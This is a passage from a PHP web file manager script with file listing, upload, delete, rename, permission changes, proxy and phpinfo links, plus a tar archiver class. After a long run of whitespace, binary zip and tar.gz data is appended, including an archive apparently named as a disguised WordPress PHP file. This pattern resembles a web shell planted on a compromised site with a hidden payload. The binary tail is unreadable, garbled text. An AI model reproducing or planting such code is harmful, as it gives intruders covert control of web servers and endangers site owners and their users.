		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PK       !       	  cache.zipnu [        PK       ! V      
  index.htmlnu bS        <!DOCTYPE html><title></title>
PK         ! V      
                index.htmlnu bS        PK      J   Y     PK       ! ?f  f    wp-fileesx-449.php.php.tar.gznu [              k#Kv
uC䒢bn=Y4xv3vU 
*;piYAQeGH(HKdL_e/8_D3K3{Q<y̓'O<9ggb+ܔ^z~ΰ3^~q<N_|{0%~8W4J?,e@e%?矾:9=5m |3̩ _?s
>oٛ|1O}#_~~~o}/_/K/EnM~WB7:yqzJ?w?i9??As>/ۇ~_o_|7`MWO䛟M	S0Է~^U*Yt>_~~Lp?GE-P F_~oO}SK7_~R5.B{@ᷩ Ϸ-?־oL~}߾~CoqP__YFo/#}?/~~2N|~o"هrំ>o{_}r^?~{;/ 	ЅwY!߿OAg>Ň?zoFן{~o}q~K|~;g_ɿ;+Ǉl'PWş?;>}uulx[$!х>/~6WOax}Vf|-_e2/~
k'j̐E/4MIܜ=3JRf>Y夜^j%&Ku-1SF $frr딖ˁ?	YNQF\ٺZ+hvηn0Uc9ԅ{?ץWVG)zTI?(M/ <cxJn~H3fۃps#\n#~HKbLe+7,&sҊsr^܀YNG%hx	xy	SKI]<@AWHT_aVi\'3Y^I%E^
	.o1M<գpp0CiQny
RULlh4dԁ^QRD$NP( jΡb@r![rӛrHY4_OSdBs*H3ٜ(IsFע$5/NV{9%q5@q?a3M/A9 H0@a=BX38"*.2j{>	:~Bao/O9 xf
hldF`q:1rUy`*"+Щ@Z_'<'j?V`/e-x4S_RgRvV~PG/OOLtb4VԗD&cOe4z0e4_|AP۹kuydrwrRh
9(MK
T>ƃ)[E\z  *=&d "?,#S`ĨF%$@4/4сW;`|s.w M{w/SD	ŁQojKWzA\"yH OQ:,>U3(éc8k˓8e)	- GcMM/AD=妠[QP#P W_qӭNS4UȮ3F|@7Hː:wyN&8`. '{LD,Bw vn)L>',Jcb LX(k R ?`7*|I3WkoALeo@*zֱI k/ /<&.ʿ~7LjC4NAKE%C\jV4)Mʄf;Sab6=-cչrH&<GDu<Q#4'<`n1aֱزc14&1}y;G0t#|1_3a0-a"kpE ֤._L? ~t'lac3@6NʒkC0P
FA_T#jU^Ϯ?jl$$*G48U#*D&)<0*Df@@]=uaq7UiG=w&~څaAKGH%ƄRr  TyA-LT/ΆZ2aμoƬ/8Zд
`Rk}L]j&/w$is Zi/`{|64_\XmLh4R8$g~L6_ %Hfm&ȁpI&/B'bazmxYNFrˑpϳ<e{A1*>/M0cj	%٠ln5i4h;W
D0)`qٙ(%}"s['9PtˢM2'Y&,99ӥ<rG9Yp*Ȥ5R3hN5cw 9K9$Rz1DjCpH FI^*8>T X5̒<OEC%!\,Xغ<aZ
TETX^{[S+8
,26;BZ┅*`y[{jD#O]0wn
/ hҒS÷/0z;mX{2i!dڅRAГ痥1O ҊilALFWBn\,{0*mZ7%hea vQH</T4]x&Ci~L>(	Vm( '|`AD'i ѐb3ueЩlK}AAiJ8?vXӨӧN-L{fVQ> *
vs:@ Uc]T܍Kε&{pq}ߦLx~aDp>[dAIƪ"-&kys׸A}
;Zs6d*w8K^dE!Ke*`3Z1@V7&:uF-ύ8247#z5k	jȈBbOFEIA4au=-[G=3ģ3W8t:ɤя14ӧ+=[We_2HI+0@>gg9M8p +K|I3Wνʀ𨈏"X\g'L榰*&D[EIHY]^K^	Ȋ	M_cfT QNCM^9h~u^b|+(iNO$)|<}ұGwA8e$IM I%d"8rUԉ.
u%n}X7η>0fr;(PЉ]YUFgTҡ>0i0YY`aO`VYKYD?ҳx),'Vɳ&俤qӗpm2:El8E,rJ;<WϹ`!v2$>r#KLmtMbmΣ钃+lPL+0,BbFv`^zO9Fp/BAV/4T6LS\ì/O0ev6tf[wɯ[o5EIEmi4Hq-ЊS gxb :"ϘxⶴщAs;gS~Hu $-D;A3#.^?D1ɑ4$heF b;`L@Gвb NL1h^No q+l.g<X1#PdaLbΉ}mFeI@<9<G$Pc=?YeroBl)!"j&2dc{}<rjV *}t]cG*:)
''@2saQeר`rҰ;ZO'	hdBۥ$´\	h9íD^ErC%=.p4/|zKAeCl3sSV뮿*OX
g;BrFAW*f>j͈-wm['Sϥ9RF
u୩$jă7-N3ῤKP!ƙ	u)Vz*VUGv5\Nb"ht_*Nԕ
agcL-1M6^ךð@7C=^N.5hr8ATey֫rm4BZz Ek=Zc:mL~þPﵓ|!B+	@#C
;	YN3Q@)9x}ΟqMrf[׹ I3XKn.5;q
̔pvBf'Ih֗f7NB+\k$@NJKf	!SGm%%/ÚeF$zDv7NvR9W7W8_R[L_ F
9aD NPdjrf$#HwVMq[~1EGm
0P\+i(Ri.X#!hM1KE
G=Bf	BSc; C8TՊ$Bhbꆶ=RRwWi`UwdD(F2wd&+3E]Re8gST;vrk_S<UUP@F(Ȥ36"ƬJ>UJZ4e91l9LMʰ7}h	Gf~5=LcYBeh/sW ۾QJðWHq`)/̗B_P8X.|0h ~{tAt2A
#=)+TXF (RЅK]s}s9 {`ItP5|8?:>:ayOw+-3ѯp7YE^@-僼68g̐ Ss^sax˷_*TQ5Oi3UˤnX%!]`V.*zA(Ex4Ii;3XGuey!̦P3l3%ұ-W]}:>"	u:$+	
TŃXCdazn^.ƻBVHmV:)MCY[tX5;n^v<uyu-e%Qи?cep(Li˄ƹY 8HT`|;L+\9 =-29PuvtfbM`?t{*!z >E9.ܠB{Ͱ!tFX>ܗxPkz<Á33JL00Thܑu6P!uzvClOd3˥8lgm	M_zL"ۜ3f ]χt<-1垎9O	fogrZ/J6zK,Ӟ1$&NǦM!OBMQ)ݦXW]gszhQjL(=r*Bwc=}w rX %֎GzxKH{YQf7nN,ne]kL{JkpY]6'>_S6$ҤI^ֺ6_Yuzp3M^fZM=;mڣtoa`kkb+XksVvy[JJZ0רn:٢*HThЃʭ2	D]ɲlju;_Jz4owΟkjfkL1+6}aGL>6Y/NB7z&_.rv0R1?D q0FTjje?x|UGm-~]3v+ƶBkڏN^^,hdwYeH3O=tL[4$r0Hg4=G Tl$|쏸'nC!:cc uT
KSN:@%qxm|2P­mSDojio5="˗-В@'4BZa-Hr m8grPDC3q.le0hdiP +v^F g"(8#EGǻjԔQácFUzxWz6}WU[PUPjc|_Y-`,7|2&>bBq [|O:%W.>uy:+[-5{PЮKyj%8¦-b^X.H%n{y7tՃ\`P>v<=qUk=UInB4Xaq7LU79	Y /3JN[ݍ~v^+Ax %ll~:pzUAd;hB	^2@#΢= KԒ^;ePܕgLB`W];t'NjQ녀a` DY/O.9xQPq!Q1!F(Nf>c ?j&cN )K1\Mx1 K<tهKxR(b%IGe_@X~. y}Khm18Ξ8̔~|B??{
ޟ?' ?߆_PߝŖțb$R 5e;2Bߔ$5Ep5p[=vۭTdl5?Wg+)OFQE^5,	cJjٰCPA c$KPG:
+D5<jIb9po( \}𜺠T 7WpGP[`L:.2^bP̖tW{MM|;e砃@hĳ,guPg'u8n"j,=SZa1d"N9t0,Qyd+8m2Fu Fl'rxY*C\f hk8(4ጐZ
vRmabQ3̟LV4U[]HӦXHd[U^`!A*Wp'^n$ wAmb=X0+ٙiE`Is೻ÚQLB od,vWfhǇ'9u#[rbսOؕ	 Bu9H)V#c*j&[Fy09ں5aS|ÔMk~ҟtodmX0Bp|rKɰQ L!f	 &ҁc=L!/%9EwlsNe% #)vЃ\Q3s~雱>OqG°+m٥C$c	ϧ0rKQ	wv-X0ɓ:>\(nhW("đ*?$dc^Č'J+$ꐱhm&CmClBb%ˉ%XIqB޸#'
o/!v1Eه;R7CC[BmW`TJiuu̙#P1B,N>~[DёNȏOu.þj#GC՛$r;?}'g3_hFbifҠͺ9+wN/$#"Ut+}ŗԝs :%vͮ.ӝ(ݍ<^.E$T#h0%w}^"JS*7Mu5B:`mz~z'fU~+;<#(C]`>A,&CC8ww?rӨVs) b8}4}[<đHQ+cU9k~@Ns!	fZ&k$Q,{0xiXae/N5)Xj{d܁`^>UUf)+8H"raW`FҔٗEvHP|$/5ڒ"`p$ż
&o
^*pq^Fw&ӷw}h\sJ9@G㹡Ԡ:s䐚<lRjjo67}qt?^`0G yq}ah5t@n>eA'IH'unyƊRP~a$K[*Ae:~nB4kY~njQV$[q;2D[|AKꉊ"μg\x)z.>HPqn@E9Kğ/ѡYDfլ(VFhM@v	^DI:{SF8Zn_02 ͪV*֠ca&1N(flX[}>TKtO+9xyL^ށ-X
J l6;x|\ޗTXG#XXM?.?}KeX=!Ӝ皭zYOU g GYׇud8yEzәg.Y껓oL\U޾rՋ_Z<;MЁOOWٔgS8$aQwUeOd@r>K$9d&5 qe0M 0+0
^b~))~
>bșQ0ByAWj
+[C'gE杤cͳ(r09y|\\AASS 4vƠK=?03~89y8sC^̀O\\@ӊv/gTr?M$.9%$bs1aTw=K6M ٿy7i )#D!g>

0mn˧VlzmS2t&
$EkHtJN	h!Һq06 j`5#X#KkMODL, E}HY< B:Ʋc#j%Dh!x <GQLApH \ m J)h@+ŀd?Wխׯ#!	Όx@4~tN
#gލvb Y*~5G:,	ow~Bk N'Fufkt)$PERF-^`w+R1#+B;7ϏCЪi4ZVTk,I!N9izOUc1solQ,SI)UjXa9fL<UhnHp[R+Ur\&7asT*wL~G7nө.rz5Lm9ʦU66SL.O'Q9SLRtt<)wL*ԅl,S*L3fKҽi&N1:  0*<שt}ֈ"PIe7`*gBl5ZnS-x_狭y*Um%*6 o!>2W/@Cgb|٨E|/	l<
䡴;lZY,+)zAkgpH%pUcՊfq%*,<G3ռ\{Ϯ bi1Ћ46pT[)*0m\wѤ,t$R6^?"zJt@< .bn_õ7K.R2MYkܗ"N$7w;)xUjYzBVJ.ò^fFlg}llf*RwX/~*aφtހҝZ*0MfIz).Itn]*=ڥ.7ÊX63Q:5R7xXлV\ܦLiSzzΎ,=enbRymj4>p<fp/M&{çdY8oQ`SXs1ն7bajZr;dX/U{]xsYEnP[wA1uuIrlj+93xRj+mFu{.Blu1l=2Nz$ȏnsN4^gj+T֓(ٖ#uO錋Q`T,gsbYޤc|.W|v{Rfo6rM?4FZO-,ݬ->Ld&Om%&gᖧ(1juMTvȟ2RUÉ]=0{ӈރC0>0w\5;GD/uM2g7PJzTLC,ujZUn62]Åu)3o]؊vi/$n1TC]4owEMhMJ{1Ԣ^+ͫQz1^Fϯ#]3)+k";rn;L+r^,+M$-;t=włEjJ6Zj;_#foTh)4jJ\q^vdmoŜyNyQR@Z5e e@k/
nHh%/7]S
H|tD[=Xb9D;8rۋ8<MLZ}(: ד"Fvk|_Iբ4K6¸չCv
>3vf@TܼlVb:fVC;\	'ο	@	./ʂ.yYgSaH-FvݞQ?HKeiuJֱFgEߕ\*`pp:#VP˵'\u+Mu3f2{?
